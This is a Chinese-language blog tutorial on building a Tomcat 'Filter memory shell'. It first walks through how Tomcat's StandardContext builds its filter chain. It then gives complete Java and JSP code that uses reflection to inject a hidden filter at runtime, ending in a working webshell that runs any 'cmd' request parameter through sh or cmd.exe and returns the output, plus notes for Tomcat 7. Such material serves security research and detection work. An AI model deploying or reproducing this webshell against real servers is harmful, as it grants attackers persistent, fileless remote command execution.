Filter内存马学习

前言

在之前我们已经简单分析了Tomcat的整体结构以及源码的请求处理,再结合java web过滤器的知识点就实现Filter内存马时就找到了头绪。

Filter 流程分析

我们先把环境搭建起来,使用之前 Java Web 之过滤器的代码。

image.png

再回顾一下之前的Tomcat 8.5.37版本的请求处理。

image.png

我们这次重点看一下filterChain的过程。

init 方法

直接断点到init方法,debug调试。
我们找到org.apache.catalina.core.StandardContext里面的filterStart方法。

image.png

可以看出该部分代码大概是先遍历了filterDefs,而后传入创建的filterConfig中,再把filterConfig添加到filterConfigs。
debug信息可以方便调式出每个值的具体信息。

this 指StandardContext 这个对象
entry.getValue() 指的是FilterDef 值,里面存在filterName、filterClass 两个已有的值,还有filter空值
image.png

doFilter 方法

再次把断点到doFilter方法,debug调试。
我们找到org.apache.catalina.core.StandardWrapperValve#invoke里创建filterChain过滤器链关键代码。

image.png

此时context里面就存放着filterConfigs、filterDefs、FilterMaps

image.png

getParent 获取当前 Web应用StandardContext,然后从 Context 中获取到 filterMaps。
filterMap 包括主要存放了以及作用的url。

filterName 指过滤器的名字
urlPattern 指过滤器匹配的url

再向下就是遍历出filterMap,并判断其中urlPatterns和当前请求url是否匹配。

image.png

然后StandardContext寻找对应 filterName名称的 FilterConfig,并将 filterConfig 添加到 filterChain中。

image.png

filterConfig 包括

context 指当前StandardContext
filter 指过滤器对象
filterDef 指过滤器名称和过滤器类名
......

然后我们跟进addFilter函数中

image.png

首先遍历filters并判断是否存在,再将filterConfig 添加到 filters中。到这,filterChain 组装就完成了。
再次回到org.apache.catalina.core.StandardWrapperValve,调用 filterChain 的 doFilter 方法执行过滤器链。

image.png

在 doFilter 方法中会调用 internalDoFilter方法。

image.png

从filterConfig中取出filter对象,然后调用 filter 的 doFilter方法,从而调用自定义过滤器中的 doFilter 方法。

image.png

以下就是和过滤器有关的调用链的过程。

doFilter:24, CharacterEncodingFilter (com.itcast.web)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:200, StandardWrapperValve (org.apache.catalina.core)

那我们回顾一下整个过程,画一个简单的过程图。

image.png
  • 1、从请求的context中获取filterMaps找到filermap
  • 2、根据filer过滤器名称在FilterConfigs寻找对应名称的 FilterConfig
  • 3、找到filterConfig并添加到FilterChain
  • 4、filterChain 中调用 internalDoFilter 遍历获取FilterConfig ,然后从 FilterConfig 中获取 Filter,最后调用Filter的 doFilter 方法

内存马实现

那现在我们根据刚才的知识点和代码来动态注册一个filter型的内存马。
首先需要获取过滤器链的context,我们先获取当前ServletContext,观察一下结果。

image.png

发现我们想要的standardContext在applicationContext里面。
关于这几个context的区别参考 https://yzddmr6.com/posts/tomcat-context/
那通过反射获取standardContext

ServletContext servletContext = req.getServletContext();
//System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)context.get(servletContext);
//System.out.println(applicationContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext =  (StandardContext)context1.get(applicationContext);
//System.out.println(standardContext);

然后再init初始化过程里设计过滤器的关键两行代码

ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);

经过我们的分析,可以暂时改写成

ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

然后filterDef创建,自然就是实例化FilterDef类,并设置过滤器名称和过滤器类名。记得还有设置过滤器

FilterDef filterDef = new FilterDef();
filterDef.setFilterClass(filterclass);
filterDef.setFilterName(filtername);
filterDef.setFilter(filter);

再回顾doFilter创建过滤器链的过程,首先是从context里获取filterMap,里面存在filtername和urlPattern 两个方法,自然也需要创建filterMap对象并设置这两个方法,代码为

FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filtername);
filterMap.addURLPattern(urlPattern);

再下一步就是从找到 FilterConfig,而后执行doFilter方法。
到目前我们可以将以上的代码合并一下看看

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String filtername = "test";
        try {
            ServletContext servletContext = req.getServletContext();
            //System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装
            Field context = servletContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
            //System.out.println(applicationContext);
            Field context1 = applicationContext.getClass().getDeclaredField("context");
            context1.setAccessible(true);
            StandardContext standardContext = (StandardContext) context1.get(applicationContext);
            //System.out.println(standardContext);

            FilterDef filterDef = new FilterDef();
            filterDef.setFilterClass(filterclass);
            filterDef.setFilterName(filtername);
            filterDef.setFilter(filter);
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName(filtername);
            filterMap.addURLPattern("/*");

            ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(standardContext, filterDef);

            filterConfigs.put(filtername, filterConfig);

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

在idea里主要是这三个地方报红了

image.png

filterclass 指的是过滤器类名,这里还没有创建filter类,所以报错了。那我们就对应创建一个。

Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

}

@Override
public void destroy() {

}
};

ApplicationFilterConfig 是无法实例化该对象,我们同样用反射来调用。

Class aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor constructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
System.out.println(constructor);
constructor.newInstance(standardContext,filterDef);

最后一个是filterConfigs也没有创建过。从上面doFilter过程分析来看,filterConfigs也在standardContext里面。我们验证一下

image.png

对应代码也就有了

Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map)configs.get(standardContext);

我们的代码雏形也就有了。

   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String filtername = "test";
        try {
            ServletContext servletContext = req.getServletContext();
            //System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装
            Field context = servletContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
            //System.out.println(applicationContext);
            Field context1 = applicationContext.getClass().getDeclaredField("context");
            context1.setAccessible(true);
            StandardContext standardContext = (StandardContext) context1.get(applicationContext);
            //System.out.println(standardContext);

            Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
            configs.setAccessible(true);
            Map filterConfigs = (Map)configs.get(standardContext);

            Filter filter = new Filter() {

                @Override
                public void init(FilterConfig filterConfig) throws ServletException {

                }

                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    filterChain.doFilter(servletRequest, servletResponse);
                }

                @Override
                public void destroy() {

                }
            };
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterClass(filter.getClass().getName());
            filterDef.setFilterName(filtername);
            filterDef.setFilter(filter);
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName(filtername);
            filterMap.addURLPattern("/*");

            Class aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
            Constructor constructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            System.out.println(constructor);
            Object o = constructor.newInstance(standardContext, filterDef);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) o;
            filterConfigs.put(filtername, filterConfig);

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

虽然代码层没有错误了,但依然无法正常使用。因为还需要把filterDef、filterMap 添加进standardContext

standardContext.addFilterDef(filterDef);
standardContext.addFilterMap(filterMap);

再把我们想要的功能写在doFilter方法中,即可实现动态加载内存马。

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String filtername = "test";
        try {
            ServletContext servletContext = req.getServletContext();
            //System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装
            Field context = servletContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
            //System.out.println(applicationContext);
            Field context1 = applicationContext.getClass().getDeclaredField("context");
            context1.setAccessible(true);
            StandardContext standardContext = (StandardContext) context1.get(applicationContext);
            //System.out.println(standardContext);

            Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
            configs.setAccessible(true);
            Map filterConfigs = (Map)configs.get(standardContext);

            Filter filter = new Filter() {

                @Override
                public void init(FilterConfig filterConfig) throws ServletException {

                }

                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

                    if (servletRequest.getParameter("pass") != null) {
                        servletRequest.setCharacterEncoding("utf-8");
                        servletResponse.setCharacterEncoding("utf-8");
                        servletResponse.setContentType("text/html;charset=UTF-8");
                        servletResponse.getWriter().write("执行成功");
                        return;
                    }

                    filterChain.doFilter(servletRequest, servletResponse);
                }

                @Override
                public void destroy() {

                }
            };
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterClass(filter.getClass().getName());
            filterDef.setFilterName(filtername);
            filterDef.setFilter(filter);
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName(filtername);
            filterMap.addURLPattern("/*");
            standardContext.addFilterMap(filterMap);

            Class aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
            Constructor constructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);

            Object o = constructor.newInstance(standardContext, filterDef);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) o;
            filterConfigs.put(filtername, filterConfig);

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

image.png

总结一下内存马实现的流程:
1、反射获取StandardContext
2、创建filter类
3、创建FilterDef类,设置FilterClass、FilterName以及filter对象
4、创建FilterMap类,设置FilterName和添加URLPattern
5、通过反射获取filterConfigs,反射调用ApplicationFilterConfig类的构造方法,传入StandardContext与filterDefs,存放到filterConfig中,最后put进去
6、验证filterMap、filterDef是否添加进standardContext

扩展

在此基础上,实现cmd内存马、冰蝎内存马就比较简单了。只需要将java代码改造为jsp代码,而后修改doFilter方法。
如cmd内存马,同时适配于windows和linux

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%--
  Created by IntelliJ IDEA.
  User: cseroad
  Date: 2022/10/13
  Time: 下午1:12
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


    Title


<%
    String filtername = "test";
    try {
        ServletContext servletContext = request.getServletContext();
        //System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装
        Field context = servletContext.getClass().getDeclaredField("context");
        context.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
        //System.out.println(applicationContext);
        Field context1 = applicationContext.getClass().getDeclaredField("context");
        context1.setAccessible(true);
        StandardContext standardContext = (StandardContext) context1.get(applicationContext);
        //System.out.println(standardContext);

        Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
        configs.setAccessible(true);
        Map filterConfigs = (Map) configs.get(standardContext);

        Filter filter = new Filter() {

            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                if (servletRequest.getParameter("cmd") != null) {
                    servletRequest.setCharacterEncoding("utf-8");
                    servletResponse.setCharacterEncoding("utf-8");
                    servletResponse.setContentType("text/html;charset=UTF-8");
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", servletRequest.getParameter("cmd")} : new String[]{"cmd.exe", "/c", servletRequest.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }


                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }
        };
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilterName(filtername);
        filterDef.setFilter(filter);
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filtername);
        filterMap.addURLPattern("/cseroad/*");
        standardContext.addFilterMap(filterMap);

        Class aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
        Constructor constructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(standardContext, filterDef);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) o;
        filterConfigs.put(filtername, filterConfig);

        out.print("注入成功!");


    } catch (Exception e) {
        e.printStackTrace();
    }


%>


image.png

但只适配于tomcat 8版本以上,是因为tomcat 7 的包也发生了一点变化


<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>


<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef"  %>

再次修改成功在tomcat 7.0.107上运行。

image.png

总结

这里以创建出Filter内存马为例,仔细分析了Filter过滤器的构造过程。在反复推敲Filter内存马代码时,不得不服气研究者对java代码的理解。

参考资料

https://cn.4xpl0r3r.com/%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/JavaWeb-%E5%86%85%E5%AD%98%E9%A9%AC%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/
http://wjlshare.com/archives/1529
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B/

你可能感兴趣的:(Filter内存马学习)